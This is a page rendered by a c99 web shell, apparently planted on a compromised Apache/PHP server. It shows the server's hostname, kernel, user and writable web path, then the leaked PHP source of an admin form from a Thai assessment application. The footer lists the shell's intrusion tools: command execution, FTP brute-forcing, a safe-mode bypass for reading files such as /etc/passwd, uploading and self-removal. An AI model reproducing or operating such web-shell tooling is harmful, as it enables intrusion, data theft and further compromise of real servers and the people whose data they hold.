!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 52.3 GB of 127.8 GB (40.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     addHSectionRQ.php (13.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
showHeader();

include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsSectionRQ.php";
include_once 
"../class/clsHeaderQuestion.php";
include_once 
"../class/clsHeaderScore.php";
include_once 
"../class/clsDetailScore.php";
?> 
<script language="javascript">
function InputMainSection() {
    score_amount = document.frm.score_amount.options[document.frm.score_amount.selectedIndex].value;
    document.frm.submit();
}

function getElement(e,f){
    if(document.layers){
        f=(f)?f:self;
        if(f.document.layers[e]) {
            return f.document.layers[e];
        }
        for(W=0;i<f.document.layers.length;W++) {
            return(getElement(e,fdocument.layers[W]));
        }
    }
    if(document.all) {
        return document.all[e];
    }
    return document.getElementById(e);
}

function doSubmitAll(){
    var fact = 1;
    if(document.frm.topicSectionRQ.value==""){
        alert("กรุณากรอกคำอธิบายการตอบของส่วนนี้ !");
        document.frm.topicSectionRQ.focus();
        fact = 0;
        return false;
    }else if(document.frm.HQtext.value==""){
        alert("กรุณากรอกชื่อคอลัมน์รายการประเมิน !");
        document.frm.HQtext.focus();
        fact = 0;
        return false;
    }else if(document.frm.HStext.value==""){
        alert("กรุณากรอกชื่อเรียกรวมคอลัมน์ของระดับการประเมิน !");
        document.frm.HStext.focus();
        fact = 0;
        return false;
    }else if(document.frm.score_amount.value==""){
        alert("กรุณากำหนดจำนวนคอลัมน์ของระดับการประเมิน !");
        document.frm.score_amount.focus();
        fact = 0;
        return false;
    }else{
        score_amount = document.frm.score_amount.options.value;
        for(i=1;i<=score_amount;i++){
            id1 = "field_" + i + "_1";
            elm1 = getElement(id1);
            if(elm1.value=="")
            {
                alert("กรุณากรอกคอลัมน์ระดับการประเมินช่องที่ "+i);
                elm1.focus();
                fact = 0;
                    return false;
            } 
            id2 = "field_" + i + "_2";
            elm2 = getElement(id2);
            if(elm2.value=="")
            {
                alert("กรุณากรอกคะแนนช่องที่ "+i);
                elm2.focus();
                fact = 0;
                    return false;
            }
            id3 = "field_" + i + "_3";
            elm3 = getElement(id3);
            if(elm3.value=="")
            {
                alert("กรุณากรอกเกณฑ์การพิจารณาเริ่มต้น  ช่องที่ "+i);
                elm3.focus();
                fact = 0;
                    return false;
            }
            id4 = "field_" + i + "_4";
            elm4 = getElement(id4);
            if(elm4.value=="")
            {
                alert("กรุณากรอกเกณฑ์การพิจารณาสิ้นสุด ช่องที่ "+i);
                elm4.focus();
                fact = 0;
                    return false;
            }    
        }
    }
    if(fact == 1){
        document.frm.action = "./processSectionRQ.php";
        document.frm.submit();
    }
}
</script>

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<form name="frm" method="post" action=''>
<br>
<table  width=90%  align=center>
<tr><td>
<fieldset>
        <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="showListAss.php">รายการแบบประเมิน</a> 
        <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="createForm.php?assid=<? echo $assid ?>"> 
        สร้างฟอร์มแบบประเมิน</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"> 
        กำหนดข้อมูลคำอธิบายการตอบของส่วนนี้ (คำถามแบบปลายปิด)</font></legend>
        <p> <br>
          <br>
<?
    $oC 
= new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

    
//echo " ค่า indexRQid = ".$indexRQid;
    
$oSRQ= new SectionRQ($oC);
        
$oSRQ->RSSectionRQAll($assid,$indexRQid);
        
$oSRQ->GetRecord();
    
    
$oHQ= new HeaderQuestion($oC);
        
$numHQ=$oHQ->RSInsertOrUpdate($assid,$oSRQ->sectionRQid);
        
$oHQ->RSHeadQAll($assid,$oSRQ->sectionRQid);
        
$oHQ->GetRecord();
    
    
$oHS= new HeaderScore($oC);
        
$numHS=$oHS->RSInsertOrUpdate($oHQ->HSid);
        
$oHS->RSHeadSAll($oHQ->HSid);
        
$oHS->GetRecord();
    
    
$oDS= new DetailScore($oC);
        
$numDS=$oDS->RSInsertOrUpdate($oHQ->HSid);
        
$oDS->RSDetailSAll($oHQ->HSid);
        
$oDS->GetRecord();
     
    
//echo "      oSRQ->SectionRQid = ".$oSRQ->sectionRQid;
    //echo "      numHQ = ".$numHQ;
    //echo "      numHS = ".$numHS;
    //echo "       numDS = ".$numDS;
    //echo "oHQ->Sid = ".$oHQ->HSid;
    
    //---รับค่า assid, i จากหน้า createForm มา set ค่าเพื่อ update
    
$sequenceRQ $i;

    
//นับ define ว่าได้กำหนดแบบประเมินนี้แล้วหรือยัง ถ้ายัง UseAss =0
    
$oDA = new DefineAssessment($oC);
    
$UsedAss $oDA->CountDefineidByAssid($assid);
?>
          <input type="hidden" name="method" value="edit">
          <input type="hidden" name="indexSeq" value="<?=$indexSeq;?>">
          <input type="hidden" name="assid" value="<?=$assid?>">
          <input type="hidden" name="sectionRQid" value="<?=$oSRQ->sectionRQid?>">
          <input type="hidden" name="sequenceRQ" value="<?=$oSRQ->sequenceRQ?>">
          <input type="hidden" name="numHQ" value="<?=$numHQ?>">
          <input type="hidden" name="numHS" value="<?=$numHS?>">
          <input type="hidden" name="numDS" value="<?=$numDS?>">
          <input type="hidden" name="HSid" value="<?=$oHQ->HSid?>">
          <input type="hidden" name="UsedAss" value="<?=$UsedAss?>">
        <!--กรณีที่แบบประเมินได้ใช้ในการประเมินแล้ว  ค่าของ score_amount จะ้hidden เป็นตัวแปรชื่อ
            score_amount_UsedAss เพื่อโปรแกรมจะได้ไม่สับสนในส่วนของ javascript ในหน้าฟอร์ม-->
        <input type="hidden" name="score_amount_UsedAss" value="<? echo $oHS->score_amount;?>">

          <? //-----กรณีที่ยังไม่ได้ insert ใส่ใน Table HeaderQuestion ค่าของ numHQ = 0
            
if ($numHQ != 0) {    //echo "have1";  echo "<br> ++++ HQid = ".$oHQ->HQid; ?>
          <input type="hidden" name="HQid" value="<?=$oHQ->HQid?>">
          <input type="hidden" name="HSid" value="<?=$oHQ->HSid?>">
          <?    ?>
          <? //-----กรณีที่ยังไม่ได้ insert ใส่ใน Table HeaderScore ค่าของ numHS = 0
            
if ($numHS != 0) {  //echo "have2"; echo "<br> ++++ HSid = ".$oHS->HSid; ?>
          <input type="hidden" name="HSid" value="<?=$oHS->HSid?>">
          <? ?>
          <? //-----กรณีที่ยังไม่ได้ insert ใส่ใน Table DetailScore ค่าของ numDS = 0
            
if ($numDS != 0) {  //echo "have3"; echo "<br> ++++ DSid = ".$oDS->DSid; ?>
          <input type="hidden" name="DSid" value="<?=$oDS->DSid?>">
          <? ?>

        <table width="560" border="0" align="center">
          <tr> 
            <td height="22" colspan="2" align="center" class="colinput3"><strong>กำหนดข้อมูลคำอธิบายการตอบของ 
              : <u>ส่วนที่ <? echo $indexSeq?></u></strong></td>
          </tr>
          <tr> 
            <td height="22" colspan="2">&nbsp;</td>
          </tr>
          <tr> 
            <td width="275"  class="colinput4">&nbsp;คำอธิบายการตอบของส่วนนี้ <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">*</font></td>
            <td width="285" ><textarea name="topicSectionRQ" cols="42" rows="3"><?if(!empty($oSRQ->topicSectionRQ)){echo $oSRQ->topicSectionRQ;}else{echo $topicSectionRQ;}?></textarea></td>
          </tr>
          <tr> 
            <td class="colinput4">&nbsp;ชื่อคอลัมน์รายการประเมิน <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">*</font></td>
            <td><textarea name="HQtext" cols="42" rows="3"><?if(!empty($oHQ->HQtext)){echo $oHQ->HQtext;}else{echo $HQtext;}?></textarea></td>
          </tr>
          <tr> 
            <td class="colinput4">&nbsp;ชื่อเรียกรวมคอลัมน์ของระดับการประเมิน 
              <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">*</font></td>
            <td><textarea name="HStext" cols="42" rows="3"><?if(!empty($oHS->HStext)){echo $oHS->HStext;}else{echo $HStext;}?></textarea></td>
          </tr>
          <tr> 
            <td class="colinput4">&nbsp;กำหนดจำนวนคอลัมน์ของระดับการประเมิน<font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"> 
              *</font></td>
            <td >   

        <?php 
        
//echo " oHS->Score ==> ".$oHS->score_amount;

        
if(!isset($score_amount)){$score_amount $oHS->score_amount;}?>
               <select name=score_amount onChange='InputMainSection();' <? if($UsedAss 0) echo "disabled";?>>
                <? if($oHS->score_amount == "") {?>
                <option selected>&lt;-select-&gt;</option>
                <? ?>
                <?php  if ($score_amount== '2'){?>
                <option value = "2" selected>2</option>
                <option value = "3">3</option>
                <option value = "4">4</option>
                <option value = "5">5</option>
                <option value = "6">6</option>
                <option value = "7">7</option>
                <?php  } else if ($score_amount== '3'){?>
                <option value = "2">2</option>
                <option value = "3" selected>3</option>
                <option value = "4">4</option>
                <option value = "5">5</option>
                <option value = "6">6</option>
                <option value = "7">7</option>
                <?php  } else if ($score_amount== '4'){?>
                <option value = "2">2</option>
                <option value = "3">3</option>
                <option value = "4" selected>4</option>
                <option value = "5">5</option>
                <option value = "6">6</option>
                <option value = "7">7</option>
                <?php  } else if ($score_amount== '5'){?>
                <option value = "2">2</option>
                <option value = "3">3</option>
                <option value = "4">4</option>
                <option value = "5" selected>5</option>
                <option value = "6">6</option>
                <option value = "7">7</option>
                <?php  } else if ($score_amount== '6'){?>
                <option value = "2">2</option>
                <option value = "3">3</option>
                <option value = "4">4</option>
                <option value = "5">5</option>
                <option value = "6" selected>6</option>
                <option value = "7">7</option>
                <?php  } else if ($score_amount== '7'){?>
                <option value = "2">2</option>
                <option value = "3">3</option>
                <option value = "4">4</option>
                <option value = "5">5</option>
                <option value = "6">6</option>
                <option value = "7" selected>7</option>
                <?php  } else{?>
                <option value = "2">2</option>
                <option value = "3">3</option>
                <option value = "4">4</option>
                <option value = "5">5</option>
                <option value = "6">6</option>
                <option value = "7">7</option>
                <?  ?>
              </select> </td>
          </tr>
          <tr> 
            <? //หาค่าในตารางใหม่เพื่อนำมาแสดงใหม่ โดยหาจาก HSid
        
$oDS->RSDetailSAll($oHQ->HSid);
    
//    $oCT->SearchByHSid($oHQ->HSid);
    
?>
            <td height="32" colspan="2">
                <table width="555" border="0" align="center">
                <?php     
        
//echo "<table width=\"75%\" border=\"0\" align=\"center\">";
        
if(isset($score_amount)) {         
             for(
$i=1;$i<=$score_amount;$i++) { 
                
$oDS->GetRecord();
                
//$oCT->GetRecord();
                //echo "$i" . $oDS->DStext."<br>";
                //นำค่าในฐานข้อมูลแม้จะมีหรือไม่ก็ตาม  มาใส่ในตัวแปร array เพื่อจำค่าทั้งที่กรอกและค่าที่มีอยู่แล้วในฐานข้อมูลมาแสดง
                
$dataDStext[$i] = $oDS->DStext;
                
$dataScore[$i] = $oDS->score;
                
$dataCTFirst[$i] = $oDS->CTFirst;
                
$dataCTLast[$i] = $oDS->CTLast;

                unset(
$oDS->DStext);
                unset(
$oDS->score);
                unset(
$oDS->CTFirst);
                unset(
$oDS->CTLast);
        
?>
                <tr> 
                  <td width="252" height="24">ชื่อคอลัมน์ช่องที่ <? echo  $i ?>&nbsp; 
                    <input name="DStext[]" type="text" value="<? echo $dataDStext[$i?>" size="20" id="field_<?=$i?>_1"  <? if($UsedAss 0) echo "disabled";?> >
                  </td>
                  <td width="83" align="center"><u>คะแนน</u>&nbsp; <input name="score[]" type="text" value="<? echo $dataScore[$i?>" size="3" maxlength="3" id="field_<?=$i?>_2" onKeyPress="if((event.keyCode < 48 && event.keyCode !=  13) || event.keyCode > 57 ){ alert('กรอกได้เฉพาะตัวเลขเท่านั้น !!'); return false; }"  <? if($UsedAss 0) echo "disabled";?> ></td>
                  <td width="206"><img src="../picture/arrow.gif"> เกณฑ์พิจารณา 
                    <input name="CTFirst[]" type="text" value="<? echo $dataCTFirst[$i?>" size="5" maxlength="5" id="field_<?=$i?>_3" onKeyPress="if((event.keyCode < 45 && event.keyCode !=  46 && event.keyCode !=  13) || event.keyCode > 57 ){ alert('กรอกได้เฉพาะตัวเลขเท่านั้น !!'); return false; }"  <? if($UsedAss 0) echo "disabled";?> >
                    - 
                    <input name="CTLast[]" type="text" value="<? echo $dataCTLast[$i?>" size="5" maxlength="5" id="field_<?=$i?>_4" onKeyPress="if((event.keyCode < 45 && event.keyCode !=  46  && event.keyCode !=  13) || event.keyCode > 57 ){ alert('กรอกได้เฉพาะตัวเลขเท่านั้น !!'); return false; }"  <? if($UsedAss 0) echo "disabled";?> > 
                  </td>
                </tr>
                <?     }
        }    
?>
              </table>
            </td>
          </tr>
          <tr> 
            <td colspan="2"><div align="center"> <br><br>
                <input type="button" name="Submit" value="บันทึก" onclick = 'return doSubmitAll();'>
                <input type="reset" name="clear" value="เคลียร์ข้อมูล">
                <input type="button" name="cancel" value="ยกเลิก" onClick="location.href = 'createForm.php?assid=<? echo $assid ?>'">
              </div></td>
          </tr>
          <tr> 
            <td>&nbsp;</td>
            <td>&nbsp;</td>
          </tr>
        </table>
        </fieldset><br><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><b>หมายเหตุ : </b>* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</font>
        </td>
        </tr>
</table>
</form>

<?
//echo "<input type=\"hidden\" name=\"score_amount\" value=\"$score_amount\">";
 
showFooter(); ?>




:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.007 ]--